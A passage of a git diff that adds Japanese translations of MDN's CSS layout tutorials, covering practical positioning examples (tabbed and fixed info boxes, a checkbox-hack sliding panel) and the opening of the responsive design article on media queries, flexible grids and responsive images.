と呼ばれる2つの変数に保存するので、後で簡単に使うことができます。</li> + <li>次に、<code>for</code> ループを使用してすべてのタブを巡回し、それぞれに対して <code>setTabHandler()</code> という関数を実行します。 これにより、各タブをクリックしたときに発生するべき機能が設定されます。 実行されると、関数はそれが実行されている特定のタブへの参照と、<code>tabs</code> 配列内のタブの位置を識別するインデックス番号 <code>i</code> が渡されます。</li> + <li><code>setTabHandler()</code> 関数では、タブに <code>onclick</code> イベントハンドラを設定していて、タブをクリックすると次のことが起こります。 + <ul> + <li><code>for</code> ループで、すべてのタブを巡回し、それらに存在するクラスをすべて削除します。</li> + <li>クリックされたタブに <code>active</code> のクラスが設定されます。 このクラスには、パネルのスタイル設定と同じ {{cssxref("color")}} と {{cssxref("background-color")}} をタブに設定する CSS の規則が関連付けられていることを以前にも説明しました。</li> + <li><code>for</code> ループは、すべてのパネルを巡回し、それらに存在するクラスをすべて削除します。</li> + <li>クリックされたタブに対応するパネルに <code>active-panel</code> のクラスが設定されます。 このクラスには、{{cssxref("z-index")}} を 1 に設定して他のパネルの上に表示させる CSS の規則が関連付けられていることを以前にも説明しました。</li> + </ul> + </li> +</ul> + +<p>最初の例はこれで終わりです。 2番目の例で追加しますので、コードを開いたままにしてください。</p> + +<h2 id="A_fixed_position_tabbed_info-box" name="A_fixed_position_tabbed_info-box">固定位置のタブ付き情報ボックス</h2> + +<p>2番目の例では、最初の例（情報ボックス）を取り上げて、それをフルウェブページのコンテキストに追加します。 それだけではありません — ブラウザーウィンドウ内で同じ位置に留まるように固定位置を指定します。 メインコンテンツがスクロールしても、情報ボックスは画面上の同じ位置に留まります。 完成した例は次のようになります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13364/fixed-info-box.png" style="border-style: solid; border-width: 1px; display: block; height: 585px; margin: 0px auto; width: 1118px;"></p> + +<div class="note"> +<p><strong>注</strong>: 完成した例は、<a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/fixed-info-box.html">fixed-info-box.html</a> でライブで確認できます（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/fixed-info-box.html">ソースコード</a>）。 記事のこのセクションで何を構築するのかを理解するために、ぜひチェックしてください。</p> +</div> + +<p>出発点として、記事の最初のセクションで完成させた例を使用するか、Github リポジトリから <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">info-box.html</a> のローカルコピーを作成することができます。</p> + +<h3 id="HTML_additions" name="HTML_additions">HTML の追加</h3> + +<p>まず第一に、ウェブサイトのメインコンテンツを表すために追加の HTML が必要です。 既存のセクションの直前で、開始 {{htmlelement("body")}} タグのすぐ下に次の {{htmlelement("section")}} を追加します。</p> + +<pre class="brush: html"><section class="fake-content"> + <h1>Fake content</h1> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> + <p>This is fake content. Your main web page contents would probably go here.</p> +</section></pre> + +<div class="note"> +<p><strong>注</strong>: お好みにより、本物のコンテンツで偽のコンテンツを自由に変更してもかまいません。</p> +</div> + +<h3 id="Changes_to_the_existing_CSS" name="Changes_to_the_existing_CSS">既存の CSS への変更</h3> + +<p>次に、情報ボックスを配置して位置指定するために、既存の CSS に若干の変更を加える必要があります。 <code>.info-box</code> の規則を変更して、<code>margin: 0 auto;</code> を取り除き（情報ボックスを中央に配置する必要はもうありません）、{{cssxref("position")}}<code>: fixed;</code> を追加して、ブラウザーのビューポートの {{cssxref("top")}} に貼り付けます。</p> + +<p>これは今、次のようになるはずです。</p> + +<pre class="brush: css">.info-box { + width: 450px; + height: 400px; + position: fixed; + top: 0; +}</pre> + +<h3 id="Styling_the_main_content" name="Styling_the_main_content">メインコンテンツのスタイリング</h3> + +<p>この例に残された唯一のことは、メインコンテンツに何らかのスタイルを提供することです。 CSS の残りの部分の下に次の規則を追加します。</p> + +<pre class="brush: css">.fake-content { + background-color: #a60000; + color: white; + padding: 10px; + height: 2000px; + margin-left: 470px; +}</pre> + +<p>まず、情報ボックスパネルと同じ {{cssxref("background-color")}}、{{cssxref("color")}}、および {{cssxref("padding")}} をコンテンツに与えます。 それから、それを右に動かすために大きな {{cssxref("margin-left")}} を与えて、情報ボックスが収まるスペースを作り、他に何も重ならないようにします。</p> + +<p>これで2番目の例は終わりです。 3つ目も同じように面白いと思います。</p> + +<h2 id="A_sliding_hidden_panel" name="A_sliding_hidden_panel">スライド式隠しパネル</h2> + +<p>ここで紹介する最後の例は、アイコンを押すだけで画面にスライドして現れたり消えたりするパネルです。 これは、前述のように、モバイルレイアウトのような、有用なコンテンツの代わりにメニューや情報パネルを表示して、画面の大部分を使い果たしたくない、使用可能な画面スペースが小さい状況では一般的です。</p> + +<p>完成した例は次のようになります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13366/hidden-sliding-panel.png" style="border-style: solid; border-width: 1px; display: block; height: 521px; margin: 0px auto; width: 950px;"></p> + +<div class="note"> +<p><strong>注</strong>: 完成した例は、<a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/hidden-info-panel.html">hidden-info-panel.html</a> でライブで確認できます（<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/hidden-info-panel.html">ソースコード</a>）。 記事のこのセクションで何を構築するのかを理解するために、ぜひチェックしてください。</p> +</div> + +<p>まず始めに、Github リポジトリから <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/hidden-info-panel-start.html">hidden-info-panel-start.html</a> のローカルコピーを作成します。 これは前の例から続いていないので、新鮮な出発点ファイルが必要です。 ファイル内の HTML を見てみましょう。</p> + +<pre class="brush: css"><label for="toggle">❔</label> +<input type="checkbox" id="toggle"> +<aside> + + ... + +</aside></pre> + +<p>{{htmlelement("label")}} 要素と {{htmlelement("input")}} 要素から始めましょう — <code><label></code> 要素は通常、アクセシビリティの目的でテキストラベルをフォーム要素に関連付けるために使用します（スクリーンリーダーのユーザーが、どの説明がどのフォーム要素に対応しているかを確認できるようにします）。 ここでは、<code>for</code> 属性と <code>id</code> 属性を使用して <code><input></code> チェックボックスに関連付けられています。</p> + +<div class="note"> +<p><strong>注</strong>: 情報アイコンとして機能するために、HTML に特別な疑問符文字を入れました。 これは、パネルを表示/非表示にするために押されるボタンを表します。</p> +</div> + +<p>ここでは、これらの要素を少し異なる目的で使用します — <code><label></code> 要素のもう1つの便利な副作用は、チェックボックス自体だけでなく、チェックボックスのラベルをクリックしてチェックボックスをチェックできることです。 これはよく知られた<a href="https://css-tricks.com/the-checkbox-hack/">チェックボックスハック</a>（英語）をもたらしました。 それはボタンを切り替えることによって要素を制御する JavaScript フリーの方法を提供します。 制御する要素は、他の2つに続く {{htmlelement("aside")}} 要素です（簡潔にするために、上記のコードリストからそのコンテンツを省略しました）。</p> + +<p>以下のセクションでは、これがどのように機能するのかを説明します。</p> + +<h3 id="Styling_the_form_elements" name="Styling_the_form_elements">フォーム要素のスタイリング</h3> + +<p>まずフォーム要素を扱いましょう — {{htmlelement("style")}} タグの間に次の CSS を追加します。</p> + +<pre class="brush: css">label[for="toggle"] { + font-size: 3rem; + position: absolute; + top: 4px; + right: 5px; + z-index: 1; + cursor: pointer; +} + +input[type="checkbox"] { + position: absolute; + top: -100px; +}</pre> + +<p>最初の規則は <code><label></code> をスタイルします。 ここでは、次のことをしています。</p> + +<ul> + <li>アイコンを見やすく大きくするには、大きい {{cssxref("font-size")}} を設定します。</li> + <li>それに {{cssxref("position")}}<code>: absolute</code> を設定し、それを右上隅にうまく配置するために {{cssxref("top")}} と {{cssxref("right")}} を使用しました。</li> + <li>それに 1 の {{cssxref("z-index")}} を設定します — これは、情報パネルがスタイル設定されて表示されるときに、アイコンが隠れないようにし、アイコンがその上に表示されるので、もう一度押すと情報パネルを非表示にできます。</li> + <li>アイコンが何か面白いことをしていることをユーザーに視覚的に知らせるために、{{cssxref("cursor")}} のプロパティを使用して、マウスポインタをアイコン上に移動したときにマウスポインタをハンドポインタに変更します（リンク上にあるときに表示されるもののように）。</li> +</ul> + +<p>2番目の規則は、実際のチェックボックスの <code><input></code> 要素に {{cssxref("position")}}<code>: absolute</code> を設定し、それを画面上部の範囲外に離すことで隠します。 実際の UI でこれを見たくありません。</p> + +<h3 id="Styling_the_panel" name="Styling_the_panel">パネルのスタイリング</h3> + +<p>今度は実際のスライド式パネル自体をスタイルする時が来ました。 CSS の最後に次の規則を追加してください。</p> + +<pre class="brush: css">aside { + background-color: #a60000; + color: white; + + width: 340px; + height: 100%; + padding: 0 20px; + + position: fixed; + top: 0; + right: -370px; + + transition: 0.6s all; +}</pre> + +<p>ここではたくさんのことが起こっています — 少しずつ説明しましょう。</p> + +<ul> + <li>まず、情報ボックスに簡単な {{cssxref("background-color")}} と {{cssxref("color")}} を設定します。</li> + <li>次に、パネルに固定の {{cssxref("width")}} を設定し、その {{cssxref("height")}} をブラウザーのビューポート全体の高さにします。</li> + <li>少し間隔を空けるために水平方向の {{cssxref("padding")}} も含まれています。</li> + <li>次に、パネルに {{cssxref("position")}}<code>: fixed;</code> を設定して、ページにスクロールするコンテンツがある場合でも、パネル上では常に同じ場所に表示されるようにします。 それをビューポートの {{cssxref("top")}} に接着し、デフォルトで {{cssxref("right")}} が画面外になるように設定します。</li> + <li>最後に、要素に {{cssxref("transition")}} を設定します。 遷移は、単に突然「オン」、「オフ」になるのではなく、状態間の変化を滑らかに行わせることを可能にする興味深い機能です。 この場合、チェックボックスがオンになったときにパネルを画面上で滑らかにスライドさせることを目的としています。 （言い換えれば、疑問符のアイコンをクリックすると — <code><label></code> をクリックすると、関連するチェックボックスがオンになることを忘れないでください！ これは、ハックです。） あなたはもっと多くを学ぶでしょう...</li> +</ul> + +<h3 id="Setting_the_checked_state" name="Setting_the_checked_state">チェック状態を設定する</h3> + +<p>追加する CSS の最後の部分がもう1つあります。 CSS の下部に次のコードを追加してください。</p> + +<pre class="brush: css">input[type=checkbox]:checked + aside { + right: 0px; +}</pre> + +<p>セレクタはここではかなり複雑です — 私たちは <code><input></code> 要素に隣接する <code><aside></code> 要素を選択していますが、それがチェックされているときだけです（これを達成するための {{cssxref(":checked")}} 擬似クラスの使用に注意してください）。 この場合、<code><aside></code> の {{cssxref("right")}} プロパティを <code>0px</code> に設定しています。 これにより、パネルが再び画面に表示されるようになります（遷移により滑らかに）。 ラベルをもう一度クリックすると、チェックボックスがオフになり、パネルを再び隠します。</p> + +<p>切り替えボタン効果を作成するためのかなり賢い JavaScript フリーの方法は、これで終りです。 これは、IE9 以降で機能します（滑らかな遷移は、IE10 以降で機能します）。 この効果には、いくつかの懸念があります — フォーム要素はこの目的のために意図されていないので、少し乱用です。 さらに、その効果はアクセシビリティの観点からはあまり良くありません。 ラベルはデフォルトではフォーカスできず、フォーム要素を意味論的でない方法で使用するとスクリーンリーダーに問題が生じる可能性があります。 JavaScript とリンクまたはボタンのほうが適切かもしれませんが、それを試してみるのも楽しいでしょう。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>それでは、位置指定の見方を締めくくります — これまでのところ、基本的な仕組みがどのように機能するのか、またこれらを適用して興味深い UI 機能を構築する方法を理解しているはずです。 これをすぐに理解できなくても心配しないでください — 位置指定はかなり高度なトピックであり、理解を助けるために記事をいつでも再び参照することができます。 次の話題はフレックスボックスです。</p> + + + +<h2 id="In_this_module" name="In_this_module">このモジュール内の文書</h2> + +<ul> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Introduction">CSS レイアウト入門</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Normal_Flow">通常フロー</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Responsive_Design">レスポンシブデザイン</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Media_queries">メディアクエリーの初心者向けガイド</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">古いブラウザーのサポート</a></li> + <li><a href="/ja/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">基礎的なレイアウトの理解</a></li> +</ul> diff --git a/files/ja/learn/css/css_layout/responsive_design/index.html b/files/ja/learn/css/css_layout/responsive_design/index.html new file mode 100644 index 0000000000..0629613548 --- /dev/null +++ b/files/ja/learn/css/css_layout/responsive_design/index.html @@ -0,0 +1,334 @@ +--- +title: レスポンシブデザイン +slug: Learn/CSS/CSS_layout/Responsive_Design +tags: + - Images + - Media Queries + - RWD + - Responsive web design + - flexbox + - fluid grids + - grid + - multicol + - typography +translation_of: Learn/CSS/CSS_layout/Responsive_Design +--- +<div>{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-column_Layout", "Learn/CSS/CSS_layout/Media_queries", "Learn/CSS/CSS_layout")}}</div> + +<p>Web デザインの初期には、特定の画面サイズを対象とするページが作成されていました。 ユーザーの画面がデザイナーの予想よりも大きかったり小さかったりした場合、結果は望ましくないスクロールバーから、過度に長い行長、そして中途半端なスペースにまで及びました。 より多様な画面サイズが利用可能になると、<em>レスポンシブ Web デザイン</em>（responsive web design、RWD）の概念が登場しました。 これは、さまざまな画面幅、解像度などに合わせて Web ページがレイアウトと外観を変更できるようにする一連の実践です。 これは、マルチデバイス Web のデザイン方法を変えたアイデアであり、この記事は、それをマスターするために知っておくべき主なテクニックを理解するのに役立ちます。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/First_steps">CSS の第一歩</a>と <a href="/ja/docs/Learn/CSS/Building_blocks">CSS の構成要素</a>を学ぶ）</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>レスポンシブデザインの基本概念と歴史を理解する。</td> + </tr> + </tbody> +</table> + +<h2 id="Historic_website_layouts" name="Historic_website_layouts">歴史的な Web サイトのレイアウト</h2> + +<p>歴史のある時点で、Web サイトを設計するときに次の2つの選択肢がありました。</p> + +<ul> + <li>ブラウザーのウィンドウに合わせて伸縮する<em>リキッド（液状）のサイト</em></li> + <li>または、ピクセル単位の固定サイズによる<em>固定幅のサイト</em>を作成できます。</li> +</ul> + +<p>これらの2つのアプローチは、サイトを設計する人の画面上では最も見栄えの良い Web サイトをもたらす傾向がありました！ リキッドのサイトは、小さな画面では押しつぶされたデザインになり（下図参照）、大きな画面では読みにくいほど長い行長になります。</p> + +<figure><img alt="モバイルサイズのビューポートに押しつぶされた2列のレイアウト。" src="https://mdn.mozillademos.org/files/16834/mdn-rwd-liquid.png" style="display: block; height: 406px; width: 300px;"> +<figcaption></figcaption> +</figure> + +<div class="blockIndicator note"> +<p><strong>注</strong>: このシンプルなリキッドレイアウトを見てください: <a href="https://mdn.github.io/css-examples/learn/rwd/liquid-width.html">例</a>、<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/liquid-width.html">ソースコード</a>。 例を表示しているときに、ブラウザーのウィンドウを内側または外側にドラッグして、さまざまなサイズでどのように見えるかを確認します。</p> +</div> + +<p>固定幅のサイトでは、画面の幅がサイトの幅よりも小さいと水平スクロールバーが発生するリスクがあり（下図参照）、大きな画面ではデザインの端に多くの空白ができます。</p> + +<figure><img alt="モバイルのビューポートに水平スクロールバーを備えたレイアウト。" src="https://mdn.mozillademos.org/files/16835/mdn-rwd-fixed.png" style="display: block; height: 411px; width: 300px;"> +<figcaption></figcaption> +</figure> + +<div class="blockIndicator note"> +<p><strong>注</strong>: この単純な固定幅レイアウトを見てください: <a href="https://mdn.github.io/css-examples/learn/rwd/fixed-width.html">例</a>、<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/fixed-width.html">ソースコード</a>。 繰り返しますが、ブラウザーのウィンドウのサイズを変更したときの結果を確認してください。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 上記のスクリーンショットは、Firefox 開発ツールの<a href="/ja/docs/Tools/Responsive_Design_Mode">レスポンシブデザインモード</a>を使用して撮影したものです。</p> +</div> + +<p>モバイル Web が最初の多機能携帯電話で現実のものになり始めたため、モバイルを採用したい企業は通常、異なる URL（多くの場合 <code>m.example.com</code> や <code>example.mobi</code> など）を使用して、サイトの特別なモバイルバージョンを作成しました。 これは、サイトの2つの異なるバージョンを開発し、最新の状態に保つ必要があることを意味しました。</p> + +<p>さらに、これらのモバイルサイトは、しばしば非常に切り詰められたエクスペリエンスを提供しました。 モバイルデバイスがより強力になり、完全な Web サイトを表示できるようになったため、サイトのモバイルバージョンに閉じ込められ、フル機能のデスクトップバージョンのサイトにあることがわかっている情報にアクセスできないモバイルユーザーにとって、これはいらだたしいことでした。</p> + +<h2 id="Flexible_layout_before_responsive_design" name="Flexible_layout_before_responsive_design">レスポンシブデザインより前のフレキシブルレイアウト</h2> + +<p>Web サイトを構築する際のリキッドまたは固定幅の方法の欠点を解決するために、多くのアプローチが開発されました。 2004年に Cameron Adams は、<a href="http://www.themaninblue.com/writing/perspective/2004/09/21/">解像度依存レイアウト</a>（英語）という題名の投稿を書き、さまざまな画面解像度に適応できるデザインを作成する方法を説明しました。 このアプローチでは、画面解像度を検出して正しい CSS をロードするために JavaScript が必要でした。</p> + +<p>Zoe Mickley Gillenwater は、フレキシブル（柔軟な）サイトを作成するさまざまな方法の説明と形式化をし、画面を埋めるか、サイズを完全に固定するかの間で妥協点を見つけるために<a href="http://zomigi.com/blog/voices-that-matter-slides-available/">尽力しました</a>。</p> + +<h2 id="Responsive_design" name="Responsive_design">レスポンシブデザイン</h2> + +<p>レスポンシブデザインという用語は、<a href="https://alistapart.com/article/responsive-web-design/">2010年に Ethan Marcotte によって初めて作られ</a>、3つのテクニックを組み合わせて使用することを説明しています。</p> + +<ol> + <li>1つ目は、Gillenwater が既に検討したフルード（流動的な）グリッドのアイデアであり、Marcotte の記事 <a href="https://alistapart.com/article/fluidgrids/">Fluid Grids</a>（2009年に A List Apart で公開）で読むことができます。</li> + <li>2番目のテクニックは、<a href="http://unstoppablerobotninja.com/entry/fluid-images">フルード画像</a>のアイデアです。 <code>max-width</code> プロパティを <code>100%</code> に設定する非常に簡単なテクニックを使用すると、画像が含まれる列が画像の本来のサイズより狭くなった場合、画像は小さく縮小されますが、大きくなることはありません。 これにより、画像はオーバーフローするのではなく、柔軟なサイズの列に収まるように縮小できますが、列が画像よりも広くなった場合には大きくならず、ピクセル化もされません。</li> + <li>3番目の重要なコンポーネントは<a href="/ja/docs/Web/CSS/Media_Queries">メディアクエリー</a>です。 メディアクエリーにより、CSS のみを使用して、Cameron Adams が JavaScript を使用して以前に検討したタイプのレイアウトの切り替えができるようになります。 すべての画面サイズに対して1つのレイアウトを使用するのではなく、レイアウトを変更できます。 サイドバーは小さな画面に合わせて位置を変更したり、別のナビゲーションを表示したりできます。</li> +</ol> + +<p><strong>レスポンシブ Web デザインは独立した技術ではない</strong>ことを理解することが重要です。 レスポンシブ Web デザインは、コンテンツの表示に使用されているデバイスに<em>対応</em>できるレイアウトを作成するために使用される、Web デザインへのアプローチまたはベストプラクティスのセットを説明する用語です。 Marcotte の最初の検討では、これは柔軟なグリッド（フロートを使用）とメディアクエリーを意味していましたが、その記事が書かれてからほぼ10年で、レスポンシブに動作することがデフォルトになりました。 最新の CSS レイアウトの方法は本質的にレスポンシブであり、レスポンシブサイトの設計を容易にするために Web プラットフォームに新しいものが組み込まれています。</p> + +<p>この記事の残りの部分では、レスポンシブサイトを作成するときに使用できるさまざまな Web プラットフォーム機能について説明します。</p> + +<h2 id="Media_Queries" name="Media_Queries">メディアクエリー</h2> + +<p>レスポンシブデザインは、メディアクエリー（media query）によってのみ出現できました。 Media Queries Level 3 仕様は2009年に勧告候補になりました。 つまり、ブラウザーでの実装の準備が整ったとみなされました。 メディアクエリーを使用すると、一連のテスト（例えば、ユーザーの画面が特定の幅または特定の解像度より大きいかどうか）を実行し、CSS を選択的に適用して、ユーザーのニーズに合わせて適切にページをスタイルできます。</p> + +<p>例えば、次のメディアクエリーは、現在の Web ページが画面メディア（したがって印刷ドキュメントではない）として表示され、ビューポートの幅が少なくとも 800 ピクセルであるかどうかをテストします。 <code>.container</code> セレクターの CSS は、これら2つのことが当てはまる場合にのみ適用されます。</p> + +<pre class="brush: css notranslate"><code>@media screen and (min-width: 800px) { + .container { + margin: 1em 2em; + } +} </code> +</pre> + +<p>スタイルシート内に複数のメディアクエリーを追加して、レイアウト全体またはその一部をさまざまな画面サイズに最適に調整できます。 メディアクエリーが導入され、レイアウトが変更されるポイントは、<em>ブレークポイント</em>（breakpoints）と呼ばれます。</p> + +<p>メディアクエリーを使用する場合の一般的なアプローチは、狭い画面のデバイス（携帯電話など）用に単純な単一列レイアウトを作成し、次に、より大きな画面かチェックして複数列レイアウトを処理するのに十分な画面幅があることがわかったら、複数列レイアウトを実装することです。 これは多くの場合、<strong>モバイルファースト</strong>デザインと呼ばれます。</p> + +<p>詳細については、<a href="/ja/docs/Web/CSS/Media_Queries">メディアクエリー</a>の MDN ドキュメントをご覧ください。</p> + +<h2 id="Flexible_grids" name="Flexible_grids">柔軟なグリッド</h2> + +<p>レスポンシブサイトは、ブレークポイント間でレイアウトを変更するだけでなく、柔軟なグリッド上に構築されます。 柔軟なグリッドは、存在する可能性のあるすべてのデバイスサイズを対象にする必要がなく、ピクセルパーフェクトレイアウトを構築する必要がないことを意味します。 膨大な数の異なるサイズのデバイスが存在し、少なくともデスクトップでは常にブラウザーのウィンドウが最大化されているわけではないという事実を考えると、ピクセルパーフェクトレイアウトのアプローチは不可能です。</p> + +<p>柔軟なグリッドを使用することで、ブレークポイントを追加し、コンテンツの見た目が悪くなり始めた時点でデザインを変更するだけで済みます。 例えば、画面サイズが大きくなると行長が読みにくい長さになり、ボックスが狭くなるにつれて各行に2つの単語が押しつぶされるようになります。</p> + +<p>レスポンシブデザインの初期には、レイアウトを実行するための唯一の選択肢は<a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a>を使用することでした。 柔軟なフロートレイアウトは、各要素に幅をパーセントで指定し、レイアウト全体で合計が 100% を超えないようにすることで実現します。 フルードグリッドに関する元の作品で、Marcotte はピクセルを使用して設計されたレイアウトを取得し、それをパーセントに変換するための公式を詳しく説明しました。</p> + +<pre class="notranslate"><code>対象 / コンテキスト = 結果</code> +</pre> + +<p>例えば、対象の列のサイズが 60 ピクセルで、コンテキスト（またはコンテナ）が 960 ピクセルの場合、60 を 960 で割って、小数点を右に2桁移動した後、CSS で使用できる値を得られます。</p> + +<pre class="brush: css notranslate"><code>.col { + width: 6.25%; /* 60 / 960 = 0.0625 */ +} </code> +</pre> + +<p>このアプローチは、今日の Web の多くの場所で見られます。 これについては、<a href="/ja/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">過去のレイアウト方法</a>の記事のレイアウトセクションで説明しています。 仕事でこのアプローチを使用している Web サイトに出くわす可能性が高いため、フロートベースの柔軟なグリッドを使用して最新のサイトを構築しなくても、理解する価値があります。</p> + +<p>次の例は、メディアクエリーと柔軟なグリッドを使用した簡単なレスポンシブデザインを示しています。 狭い画面では、レイアウトは次のように上下に積み重ねられたボックスを表示します。</p> + +<figure><img alt="ボックスが上下に積み上げられたレイアウトのモバイルビュー。" src="https://mdn.mozillademos.org/files/16836/mdn-rwd-mobile.png" style="display: block; height: 407px; width: 300px;"> +<figcaption></figcaption> +</figure> + +<p>より広い画面では、次のように2つの列に移動します。</p> + +<figure><img alt="2列のレイアウトのデスクトップビュー。" src="https://mdn.mozillademos.org/files/16837/mdn-rwd-desktop.png" style="display: block; height: 217px; width: 600px;"> +<figcaption></figcaption> +</figure> + +<div class="blockIndicator note"> +<p><strong>注</strong>: この例の<a href="https://mdn.github.io/css-examples/learn/rwd/float-based-rwd.html">ライブ例</a>と<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/float-based-rwd.html">ソースコード</a>は GitHub にあります。</p> +</div> + +<h2 id="Modern_layout_technologies" name="Modern_layout_technologies">最新のレイアウト技術</h2> + +<p><a href="/ja/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">段組みレイアウト</a>、<a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox">フレックスボックス</a>、<a href="/ja/docs/Learn/CSS/CSS_layout/Grids">グリッド</a>などの最新のレイアウト方法は、デフォルトでレスポンシブです。 それらはすべて、あなたが柔軟なグリッドを作成しようとしていると仮定し、それを行う簡単な方法を提供します。</p> + +<h3 id="Multicol" name="Multicol">段組み</h3> + +<p>これらのレイアウトメソッドの中で最も古いものは段組み（multicol）です。 <code>column-count</code> の指定で、コンテンツを分割する列の数を指定します。 ブラウザーはこれらのサイズを計算し、サイズは画面サイズに応じて変化します。</p> + +<pre class="brush: css notranslate"><code>.container { + column-count: 3; +} </code> +</pre> + +<p>代わりに <code>column-width</code> の指定で、<em>最小</em>幅を指定します。 ブラウザーは、その幅の列をコンテナに収まるだけ作成し、すべての列の間で残りのスペースを分配します。 したがって、列の数は、どのくらいのスペースがあるかに応じて変化します。</p> + +<pre class="brush: css notranslate"><code>.container { + column-width: 10em; +} </code> +</pre> + +<h3 id="Flexbox" name="Flexbox">フレックスボックス</h3> + +<p>フレックスボックス（Flexbox）では、フレックス項目は初期の振る舞いとして、コンテナ内のスペースに従って、項目間のスペースを縮小および分散します。 <code>flex-grow</code> と <code>flex-shrink</code> の値を変更することにより、項目の周囲に多少のスペースがあった場合の振る舞いを指定できます。</p> + +<p>次の例では、CSS レイアウトのフレックスボックスのトピックの<a href="/ja/docs/Learn/CSS/CSS_layout/Flexbox#Flexible_sizing_of_flex_items">フレックス項目の柔軟なサイズ変更</a>で説明されているように、<code>flex: 1</code> の一括指定を使用して、それぞれのフレックス項目はフレックスコンテナ内に同じ量のスペースを取ります。</p> + +<pre class="brush: css notranslate"><code>.container { + display: flex; +} + +.item { + flex: 1; +} </code> +</pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 例として、今度はフレックスボックスを使用して、上記のシンプルなレスポンシブレイアウトを再構築しました。 列のサイズを計算するために奇妙なパーセント値を使用する必要がなくなったことがわかります: <a href="https://mdn.github.io/css-examples/learn/rwd/flex-based-rwd.html">例</a>、<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/flex-based-rwd.html">ソースコード</a>。</p> +</div> + +<h3 id="CSS_grid" name="CSS_grid">CSS グリッド</h3> + +<p>CSS グリッドレイアウトでは、<code>fr</code> 単位を使用して、グリッドトラック全体に利用可能なスペースを分散できます。 次の例では、サイズが <code>1fr</code> の3つのトラックを持つグリッドコンテナを作成します。 これにより、3つの列トラックが作成され、それぞれがコンテナ内の使用可能なスペースの一部を取得します。 グリッドを作成するこのアプローチの詳細については、CSS レイアウトのグリッドのトピックの<a href="/ja/docs/Learn/CSS/CSS_layout/Grids#Flexible_grids_with_the_fr_unit"> fr 単位での柔軟なグリッド</a>を参照してください。</p> + +<pre class="brush: css notranslate"><code>.container { + display: grid; + grid-template-columns: 1fr 1fr 1fr; +} </code> +</pre> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code>.wrapper</code> に列を定義できるため、グリッドレイアウトのバージョンはさらに単純です: <a href="https://mdn.github.io/css-examples/learn/rwd/grid-based-rwd.html">例</a>、<a href="https://github.com/mdn/css-examples/blob/master/learn/rwd/grid-based-rwd.html">ソースコード</a>。</p> +</div> + +<h2 id="Responsive_images" name="Responsive_images">レスポンシブ画像</h2> + +<p>レスポンシブ画像に対する最も簡単なアプローチは、レスポンシブデザインに関する Marcotte の初期の記事で説明されているとおりです。 基本的に、必要な最大サイズの画像を取得し、縮小します。 これは現在でも使用されているアプローチであり、ほとんどのスタイルシートでは次の CSS がどこかにあります。</p> + +<pre class="brush: css notranslate"><code>img { + max-width: 100%; +} </code> +</pre> + +<p>このアプローチには明らかな欠点があります。 画像は本来のサイズよりもはるかに小さく表示される可能性があり、これは帯域幅の浪費です — モバイルユーザーは、ブラウザーのウィンドウに実際に表示されるサイズの数倍の画像をダウンロードすることになる場合があります。 さらに、モバイルとデスクトップで同じ画像アスペクト比を使用したくない場合があります。 例えば、モバイル用に正方形の画像を用意して、デスクトップのランドスケープ画像と同じシーンを表示するとよいかもしれません。 または、モバイルでの画像のサイズが小さいことを認めながら、小さな画面サイズでもより簡単に理解できるまったく別の画像を表示したい場合があります。 これらのことは、単に画像を縮小するだけでは達成できません。</p> + +<p>{{htmlelement("picture")}} 要素と {{htmlelement("img")}} の <code>srcset</code> 属性と <code>size</code> 属性を使用したレスポンシブ画像は、これらの両方の問題を解決します。 「ヒント」（画像に最適な画面サイズと解像度を記述するメタデータ）とともに複数のサイズを提供でき、ブラウザーは各デバイスに最適な画像を選択し、ユーザーが使用しているデバイスに適した画像サイズをダウンロードできるようにします。</p> + +<p>さまざまなサイズで使用される<em>アートディレクション</em>画像は、さまざまな画面サイズに対して、さまざまな切り抜きまたはまったく異なる画像を提供します。</p> + +<p>MDN の HTML 